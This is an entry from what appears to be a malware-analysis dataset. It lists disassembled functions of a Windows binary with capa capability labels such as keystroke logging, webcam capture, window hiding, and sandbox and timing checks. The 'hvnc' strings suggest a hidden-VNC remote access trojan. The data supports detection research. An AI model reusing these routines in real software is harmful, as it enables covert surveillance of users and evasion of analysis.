joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10026ed3
Capabilities:
Get common file path
Query environment variable
Read file via mapping

Disassembly:
push ebx
push esi
mov esi, eax
lea eax, [esi + 0x85c]
push eax
push 0x6a9d
xor ebx, ebx
push ebx
push 4
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push ebx
push ebx
push ebx
push 0xf001f
push eax
mov dword [esi + 0x18], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esi + 0x1c], eax
cmp eax, ebx
je 0x10027007
push edi
lea eax, [esi + 0x2c]
push eax
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
mov ecx, dword [esi + 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ecx + 0x193], eax
lea eax, [esi + 0x9c4]
push eax
push ebx
push ebx
call edi
mov dword [esi + 0x7b8], eax
cmp eax, ebx
je 0x10027006
push ebx
push ebx
push ebx
call edi
mov dword [esi + 0x7c4], eax
cmp eax, ebx
je 0x10027006
lea eax, [esi + 0xa3c]
push eax
push ebx
push ebx
call edi
mov dword [esi + 0x7bc], eax
cmp eax, ebx
je 0x10027006
lea eax, [esi + 0xba4]
push eax
push ebx
push ebx
call edi
mov dword [esi + 0x7c8], eax
cmp eax, ebx
je 0x10027006
mov edi, dword [sym.imp.KERNEL32.dll_CreateEventW]
lea eax, [esi + 0xb2c]
push eax
push ebx
push 1
push ebx
call edi
mov dword [esi + 0x7cc], eax
cmp eax, ebx
je 0x10027006
lea eax, [esi + 0x94c]
push eax
push ebx
push 1
push ebx
call edi
mov dword [esi + 0x7c0], eax
cmp eax, ebx
je 0x10027006
lea eax, [esi + 0xab4]
push eax
push ebx
push ebx
push ebx
call edi
mov dword [esi + 0x7d0], eax
cmp eax, ebx
je 0x10027006
mov edi, 0x12c
push edi
add esi, 0xc1c
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x10026ff8
push edi
push esi
push str.windir
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x10027006
push 0x10046d48
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov bl, 1
pop edi
pop esi
mov al, bl
pop ebx
ret
Function at 0x1002700c
Capabilities:
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
push esi
lea eax, [ebp - 0x14]
push eax
push 0x4011f
xor esi, esi
push esi
push str.AppEventsSchemesApps
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100271a1
push esi
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x20]
push eax
push esi
push esi
push esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
cmp dword [ebp - 0x20], esi
je 0x10027198
mov dword [ebp - 0xc], esi
jbe 0x10027198
push ebx
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov ebx, 0x208
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x18], ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x10027187
lea eax, [ebp - 4]
push eax
push 0x4011f
push esi
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10027187
push esi
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
cmp dword [ebp - 0x1c], esi
je 0x1002717e
mov dword [ebp - 0x10], esi
jbe 0x1002717e
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x18], ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x1002716f
lea eax, [ebp - 8]
push eax
push 0x4011f
push esi
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1002716f
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x438]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x24], ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
test eax, eax
jne 0x10027166
push dword [ebp - 0x24]
lea eax, [ebp - 0x438]
push eax
push 1
push dword [ebp + 0xc]
push dword [ebp - 8]
call edi
push 2
lea eax, [ebp - 0x28]
push eax
push 1
push dword [ebp + 8]
mov dword [ebp - 0x28], esi
push dword [ebp - 8]
call edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x1c]
jb 0x100270e1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x20]
jb 0x10027070
pop edi
pop ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
leave
ret
Function at 0x100271c9
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
lea eax, [ebp - 0xc]
push eax
push 0xf013f
push 0
push str.Control_PanelPowerCfgGlobalPowerPolicy
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 8], 0xb0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 4]
push eax
push 0
push str.Policies
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov byte [ebp - 0x8c], 0
mov byte [ebp - 0x81], 0x80
mov byte [ebp - 0x80], 0
mov byte [ebp - 0x75], 0x80
mov dword [ebp - 0x14], 0x3e0441
push dword [ebp - 8]
lea eax, [ebp - 0xc0]
push eax
push dword [ebp - 4]
push 0
push str.Policies
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x1002747f
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
movzx edi, ax
shr eax, 0x10
mov ebx, eax
mov eax, dword [ebp + 0xc]
sub eax, 0xa1
mov byte [ebp - 1], 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], ebx
je 0x100274ee
push 3
pop ecx
sub eax, ecx
je 0x100274e5
sub eax, ecx
je 0x100274dc
sub eax, 0x15a
je 0x100274d3
sub eax, ecx
je 0x100274ca
sub eax, ecx
jne 0x100275b1
mov dword [ebp - 8], 0x209
jmp 0x100274f9
mov dword [ebp - 8], 0x206
jmp 0x100274f9
mov dword [ebp - 8], 0x203
jmp 0x100274f9
mov dword [ebp - 8], 0xa9
jmp 0x100274f5
mov dword [ebp - 8], 0xa6
jmp 0x100274f5
mov dword [ebp - 8], 0xa3
mov byte [ebp - 1], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub edi, dword [esi + 0x7fc]
sub ebx, dword [esi + 0x800]
mov dword [ebp - 0xc], eax
xor eax, eax
cmp edi, eax
jge 0x10027516
neg edi
cmp ebx, eax
jge 0x1002751c
neg ebx
mov ecx, dword [ebp + 8]
cmp dword [esi + 0x7ec], ecx
jne 0x10027584
mov edx, dword [esi + 0x7f4]
cmp edx, dword [ebp + 0xc]
jne 0x10027584
mov edx, dword [ebp - 0xc]
sub edx, dword [esi + 0x7f8]
cmp edx, dword [0x100544a8]
ja 0x10027584
cmp byte [ebp - 1], al
jne 0x10027557
push 0xffffffffffffffe6
push ecx
call dword [sym.imp.USER32.dll_GetClassLongW]
test al, 8
je 0x10027584
xor eax, eax
cmp edi, 2
jg 0x10027584
cmp ebx, 2
jg 0x10027584
mov dword [esi + 0x7fc], eax
mov dword [esi + 0x800], eax
mov dword [esi + 0x7f4], eax
mov dword [esi + 0x7f8], eax
mov dword [esi + 0x7ec], eax
mov eax, dword [ebp - 8]
jmp 0x100275b4
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x7f4], eax
mov eax, dword [ebp - 0xc]
mov dword [esi + 0x7f8], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0x7ec], eax
mov eax, dword [ebp - 0x14]
mov dword [esi + 0x7fc], eax
mov eax, dword [ebp - 0x10]
mov dword [esi + 0x800], eax
mov eax, dword [ebp + 0xc]
pop edi
pop ebx
leave
ret
Function at 0x1002807d
Capabilities:
Log keystrokes

Disassembly:
sub esp, 0xc
push esi
push edi
mov edi, eax
mov esi, ecx
call fcn.10027ed9
test al, al
je 0x10028164
mov eax, dword [esi + 0x1c]
mov eax, dword [eax + 0x108]
mov dword [esp + 8], eax
cmp eax, edi
je 0x10028164
push edi
call fcn.10028050
pop ecx
test al, al
je 0x10028164
push edi
call fcn.10027f3e
pop ecx
test al, 0x15
jne 0x10028164
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 1
xor ebx, ebx
push ebx
push edi
push ebx
push edi
call ebp
push eax
call fcn.1002727a
add esp, 0x10
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call ebp
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebp, dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
push dword [esp + 0x14]
mov dword [esp + 0x1c], eax
push eax
call ebp
push edi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push edi
call dword [sym.imp.USER32.dll_BringWindowToTop]
push edi
call dword [sym.imp.USER32.dll_SetFocus]
push ebx
push dword [esp + 0x14]
push dword [esp + 0x1c]
call ebp
test dword [esi + 0x28], 0x400
jne 0x10028162
push 1
push ebx
push 0x11040
push str.hvnc
push ebx
push edi
mov byte [esi + 0xd64], 1
call dword [0x100544c4]
push 3
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
mov byte [esi + 0xd64], bl
call dword [sym.imp.USER32.dll_SetWindowPos]
pop ebp
pop ebx
pop edi
pop esi
add esp, 0xc
ret
Function at 0x10029613
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov byte [ebp + 0xb], 1
cmp dword [ebx + 0x90], edi
jne 0x10029645
mov eax, dword [ebp + 0x10]
cmp dword [ebx + 0x94], eax
jne 0x10029645
mov al, byte [ebp + 0x14]
cmp byte [ebx + 0x9c], al
je 0x1002975f
push esi
push dword [ebx + 0x14]
call fcn.10027f2c
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop ecx
push 0xffffffffffffffff
push dword [ebx + 0x7bc]
call esi
push 0xffffffffffffffff
push dword [ebx + 0x7c4]
call esi
mov dl, byte [ebp + 0x14]
mov esi, edi
mov edi, dword [ebp + 0x10]
mov ecx, ebx
call fcn.10028b0e
mov eax, dword [ebx]
mov eax, dword [eax + 0x300]
lea edi, [ebx + 0x770]
push edi
mov esi, ebx
mov dword [ebp - 4], eax
call fcn.1002952e
pop ecx
mov eax, ebx
call fcn.10029357
xor esi, esi
test byte [ebx + 0x28], 2
jne 0x100296f4
push esi
mov eax, ebx
call fcn.100265e8
pop ecx
push dword [ebx + 0x24]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebx + 0x20]
call fcn.1002d67f
pop ecx
lea eax, [ebx + 0x8d4]
push eax
push dword [ebx + 0x788]
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push esi
push 0xf001f
push eax
mov dword [ebx + 0x20], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebx + 0x24], eax
cmp eax, esi
jne 0x100296f4
mov byte [ebp + 0xb], 0
jmp 0x10029748
push dword [ebx + 0x94]
movzx ecx, byte [ebx + 0x9d]
push dword [ebx + 0x90]
push dword [edi]
push dword [ebx]
call fcn.1002dd2c
add esp, 0x10
push 0x4000
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 1
mov eax, ebx
call fcn.100265e8
movzx eax, word [ebp + 0x10]
movzx ecx, word [ebp + 0xc]
shl eax, 0x10
or eax, ecx
push eax
movzx eax, byte [ebp + 0x14]
push eax
mov eax, ebx
call fcn.10028acb
add esp, 0xc
push dword [ebx + 0x7c4]
mov esi, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call esi
push dword [ebx + 0x7bc]
call esi
pop esi
mov al, byte [ebp + 0xb]
pop edi
pop ebx
leave
ret
Function at 0x1002987d
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x30
push ebx
mov ebx, dword [esp + 0x38]
push ebp
push esi
push edi
lea eax, [esp + 0x10]
push eax
lea eax, [ebx + 0x2c]
push str.webcam_d
push eax
call dword [sym.imp.ntdll.dll_sscanf]
add esp, 0xc
xor edi, edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push str.EDIT
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 1
push eax
push 1
push 1
push edi
push edi
push 0x40000000
push edi
mov dword [ebx + 0xa0], eax
call dword [sym.imp.AVICAP32.dll_capCreateCaptureWindowW]
mov ebp, dword [sym.imp.USER32.dll_IsWindow]
mov esi, eax
push esi
mov dword [ebx + 0xa4], esi
call ebp
test eax, eax
je 0x100298fe
push edi
push dword [esp + 0x14]
push 0x40a
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
mov dword [esp + 0x44], eax
jmp 0x10029902
mov dword [esp + 0x44], edi
cmp dword [esp + 0x44], edi
je 0x100299c7
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call ebp
test eax, eax
je 0x1002992e
lea eax, [esp + 0x14]
push eax
push 0x2c
push 0x40e
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
cmp dword [esp + 0x28], edi
je 0x1002990c
push esi
call ebp
test eax, eax
je 0x1002994d
push 0x100297aa
push edi
push 0x405
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
push esi
lea ebp, [ebx + 0xac]
lea edi, [ebx + 0xd8]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x10029973
push ebp
push 0x2c
push 0x42c
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x100299b7
push 2
push eax
push 0x43444956
call dword [sym.imp.MSVFW32.dll_ICOpen]
push edi
push ebp
mov esi, eax
push 0x400a
push esi
mov dword [ebx + 0xa8], esi
call dword [sym.imp.MSVFW32.dll_ICSendMessage]
push edi
push ebp
push 0x400c
push esi
call dword [sym.imp.MSVFW32.dll_ICSendMessage]
mov dl, byte [edi + 0xe]
mov esi, dword [edi + 4]
mov edi, dword [edi + 8]
jmp 0x100299c0
mov dl, byte [ebp + 0xe]
mov esi, dword [ebp + 4]
mov edi, dword [ebp + 8]
mov ecx, ebx
call fcn.10028b0e
mov eax, dword [esp + 0x44]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x30
ret

Function at 0x10029a79
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [esi + 0x13b8]
push ebx
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor ebx, ebx
cmp dword [esi + 0x13b4], ebx
jle 0x10029ad5
push edi
lea edi, [esi + 0xd74]
push 0x3e8
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x10029abd
push 1
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [edi]
call fcn.1002d67f
and dword [edi], 0
inc ebx
add edi, 4
pop ecx
cmp ebx, dword [esi + 0x13b4]
jl 0x10029a9f
pop edi
push dword [ebp - 4]
and dword [esi + 0x13b4], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop ebx
leave
ret
Function at 0x10029ae8
Capabilities:
Create thread
Resume thread

Disassembly:
push ebx
push edi
xor ebx, ebx
push ebx
push 4
push dword [esp + 0x18]
push dword [esp + 0x18]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp byte [esp + 0x14], bl
jne 0x10029b20
push edi
call fcn.1002d67f
pop ecx
jmp 0x10029b47
lea ebx, [esi + 0x13b8]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [esi + 0x13b4]
mov dword [esi + ecx*4 + 0xd74], edi
inc dword [esi + 0x13b4]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop ebx
ret

Function at 0x10029b4a
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, eax
mov edx, esi
cmp esi, 4
jb 0x10029b9f
push ebx
push edi
mov edi, esi
shr edi, 2
movzx eax, byte [ecx + 3]
imul edx, edx, 0x5bd1e995
movzx ebx, byte [ecx + 2]
shl eax, 8
or eax, ebx
movzx ebx, byte [ecx + 1]
shl eax, 8
or eax, ebx
movzx ebx, byte [ecx]
shl eax, 8
or eax, ebx
imul eax, eax, 0x5bd1e995
mov ebx, eax
shr ebx, 0x18
xor ebx, eax
imul ebx, ebx, 0x5bd1e995
xor edx, ebx
add ecx, 4
sub esi, 4
dec edi
jne 0x10029b5b
pop edi
pop ebx
dec esi
je 0x10029bba
dec esi
je 0x10029bb1
dec esi
jne 0x10029bc5
movzx eax, byte [ecx + 2]
shl eax, 0x10
xor edx, eax
movzx eax, byte [ecx + 1]
shl eax, 8
xor edx, eax
movzx eax, byte [ecx]
xor edx, eax
imul edx, edx, 0x5bd1e995
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul ecx, ecx, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
pop esi
ret

Function at 0x10029bdb
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [ebp - 0x18]
cdq
and edx, 0xfffff
add eax, edx
sar eax, 0x14
leave
ret

Function at 0x10029c03
Capabilities:
Get cpu information
Get system information on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x18]
mov dword [0x100544d4], eax
lea eax, [ebp - 4]
push eax
push 0x20119
push 0
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10029c65
lea eax, [ebp - 8]
push eax
push 0x100544d0
push 0
push 0
push str.MHz
push dword [ebp - 4]
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x100544d4], 2
ja 0x10029c8d
cmp dword [0x100544d0], 0x7d0
ja 0x10029c8d
call fcn.10029bdb
cmp eax, 0x258
jge 0x10029c8d
mov byte [0x1005a1ea], 1
leave
ret
Function at 0x10029ce4
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov esi, dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
mov ebx, eax
push edi
push ebx
call esi
push dword [ebp + 0xc]
push dword [ebp + 0x10]
push 0xd
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
push edi
push ebx
mov dword [ebp - 4], eax
call esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1002a29d
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, eax
push 1
push esi
push 0x1002a257
call fcn.10029ae8
xor eax, eax
push 1
push eax
push eax
push eax
call fcn.1002727a
add esp, 0x1c
mov eax, esi
pop esi
jmp fcn.1002816a
Function at 0x1002a50f
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
mov edi, ecx
mov esi, eax
call fcn.10027ed9
test al, al
je 0x1002a680
push edi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x1002a680
lea eax, [ebp - 0x3c]
push eax
push edi
mov dword [ebp - 0x3c], 0x3c
call dword [sym.imp.USER32.dll_GetWindowInfo]
mov eax, dword [ebp - 0x18]
and eax, 0xf
cmp al, 7
jne 0x1002a570
push edi
call fcn.10027ea9
pop ecx
cmp eax, 0x3daaa90b
jne 0x1002a570
push 0
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x1002a680
mov eax, dword [ebp - 0x30]
cmp eax, dword [esi]
jle 0x1002a680
mov eax, dword [ebp - 0x38]
cmp eax, dword [esi + 8]
jge 0x1002a680
mov eax, dword [ebp - 0x2c]
cmp eax, dword [esi + 4]
jle 0x1002a680
mov eax, dword [ebp - 0x34]
cmp eax, dword [esi + 0xc]
jge 0x1002a680
xor ebx, ebx
cmp byte [0x1005a1ea], bl
je 0x1002a5b8
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x1c]
test byte [eax + 0x186], 0x20
je 0x1002a5c5
push 0xffffffffffffffe6
push edi
call dword [sym.imp.USER32.dll_GetClassLongW]
test al, 0xc0
jne 0x1002a5dd
push edi
call fcn.10027f3e
pop ecx
test al, 0x40
jne 0x1002a5dd
push ebx
push dword [ebp + 0x10]
push edi
call dword [sym.imp.USER32.dll_PrintWindow]
jmp 0x1002a5f0
lea eax, [ebp - 0x38]
push eax
push dword [ebp + 0x10]
push edi
push dword [ebp + 8]
call fcn.1002a304
add esp, 0x10
mov eax, dword [esi + 0xc]
mov ecx, dword [ebp - 0x2c]
xor edx, edx
cmp ecx, eax
jle 0x1002a612
lea ecx, [eax - 2]
mov dword [ebp - 0x2c], ecx
cmp byte [esi + 0x18], bl
je 0x1002a612
mov eax, dword [esi + 0x20]
sub eax, dword [esi + 0x28]
add ecx, eax
mov dword [ebp - 0x2c], ecx
mov edi, dword [ebp - 0x34]
cmp edi, dword [esi + 4]
jge 0x1002a62a
mov eax, dword [esi + 4]
mov edx, eax
sub edx, edi
add edx, 2
add eax, 2
mov dword [ebp - 0x34], eax
mov edi, dword [esi + 8]
mov eax, dword [ebp - 0x30]
cmp eax, edi
jle 0x1002a64a
lea eax, [edi - 2]
mov dword [ebp - 0x30], eax
cmp byte [esi + 0x18], bl
je 0x1002a64a
mov edi, dword [esi + 0x2c]
sub edi, dword [esi + 0x34]
add eax, edi
mov dword [ebp - 0x30], eax
mov esi, dword [esi]
cmp dword [ebp - 0x38], esi
jge 0x1002a65f
mov ebx, esi
sub ebx, dword [ebp - 0x38]
add ebx, 2
add esi, 2
mov dword [ebp - 0x38], esi
sub ecx, dword [ebp - 0x34]
sub eax, dword [ebp - 0x38]
push 0xcc0020
push edx
push ebx
push dword [ebp + 0x10]
push ecx
push eax
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push dword [ebp + 0xc]
call dword [sym.imp.GDI32.dll_BitBlt]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1002b0bc
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
xor bl, bl
cmp byte [eax + 0xd64], bl
je 0x1002b116
test dword [eax + 0x28], 0x400
jne 0x1002b116
push dword [ebp + 8]
call fcn.10027ea9
pop ecx
cmp eax, 0x1ba347ca
jne 0x1002b116
push 0xc8
lea eax, [ebp - 0x190]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push str.hvnc
lea eax, [ebp - 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x1002b116
inc bl
mov al, bl
pop ebx
leave
ret
Function at 0x1002d601
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
xor ebx, ebx
push 0x228
lea eax, [ebp - 0x228]
push ebx
push eax
mov dword [ebp - 0x22c], ebx
call sub.ntdll.dll_memset
add esp, 0xc
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x1002d679
lea eax, [ebp - 0x22c]
push eax
push esi
mov dword [ebp - 0x22c], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov eax, dword [ebp - 0x224]
cmp eax, dword [ebp + 8]
je 0x1002d670
lea eax, [ebp - 0x22c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1002d651
jmp 0x1002d672
mov bl, 1
push esi
call fcn.1002d67f
pop ecx
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x1002d766
Capabilities:
Encode data using xor

Disassembly:
cmp byte [0x1005a1eb], 0
push esi
mov esi, eax
jne 0x1002d777
call fcn.1002d7a2
or eax, 0xffffffff
cmp dword [esp + 8], 0
jbe 0x1002d79e
mov ecx, dword [esp + 8]
movzx edx, byte [esi]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x100545c8]
inc esi
dec ecx
jne 0x1002d785
not eax
pop esi
ret
Function at 0x1002db6c
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov ecx, 0x364
mov dword [ebp + 8], 0xff
call fcn.1000e7e0
xor ecx, ecx
xor edi, edi
inc ecx
mov esi, eax
cmp dword [0x1005a20c], edi
jne 0x1002db9b
mov dword [0x1005a20c], ecx
or eax, 0xffffffff
mov dword [esi + 0x294], eax
mov dword [esi + 0x160], eax
mov dword [esi + 0x2a0], eax
mov dword [esi + 0x180], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x10], eax
mov eax, dword [ebp + 0x10]
shl eax, 3
push edi
mov dword [esi + 0x178], edi
mov dword [esi + 0x2e0], edi
mov dword [esi + 0x2e4], edi
mov dword [esi + 0x17c], 0x170c
mov dword [esi + 0x290], edi
mov dword [esi + 0x298], edi
mov dword [esi + 0x14c], edi
mov dword [esi + 0x2a8], edi
mov dword [esi + 0x29c], edi
mov dword [esi + 0x2a4], edi
mov dword [esi + 0x188], edi
mov dword [esi + 0x2d4], edi
mov dword [esi + 0x2d8], edi
mov dword [esi + 0x2dc], edi
mov dword [esi + 0x2c4], edi
mov dword [esi + 0x2c8], ecx
mov dword [esi + 8], ebx
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x2c0], 0x1002dac0
mov dword [esi + 0x338], ecx
mov dword [esi + 0x33c], edi
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [esi + 0x340], eax
lea eax, [ebp + 8]
push eax
lea eax, [esi + 0x4c]
push eax
mov dword [esi + 0x2d0], 5
mov dword [esi + 0x2cc], 0x32
mov dword [esi + 0x348], edi
mov dword [esi + 0x350], 3
mov dword [esi + 0x354], 8
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
imul ebx, dword [ebp + 0x10]
mov eax, esi
mov dword [esi + 0xc], ebx
call fcn.1002db0f
mov dword [esi + 0x2f0], edi
mov dword [esi + 0x2ec], edi
mov dword [esi + 0x2e8], edi
mov dword [esi + 0x2f4], edi
mov dword [esi + 0x2f8], edi
mov dword [esi + 0x2fc], 0x100530b0
mov dword [esi + 0x304], 0x1002da35
mov dword [esi + 0x308], 0x1002da35
mov dword [esi + 0x30c], fcn.1002da36
mov dword [esi + 0x310], 0x1002da35
mov dword [esi + 0x314], 0x1002dab3
mov dword [esi + 0x318], 0x10035f46
mov dword [esi + 0x32c], 0x1002db0c
mov dword [esi + 0x330], edi
mov dword [esi + 0x35c], edi
mov dword [esi + 0x334], edi
mov dword [esi + 0x360], edi
call fcn.1002e162
pop edi
pop esi
pop ebx
pop ebp
ret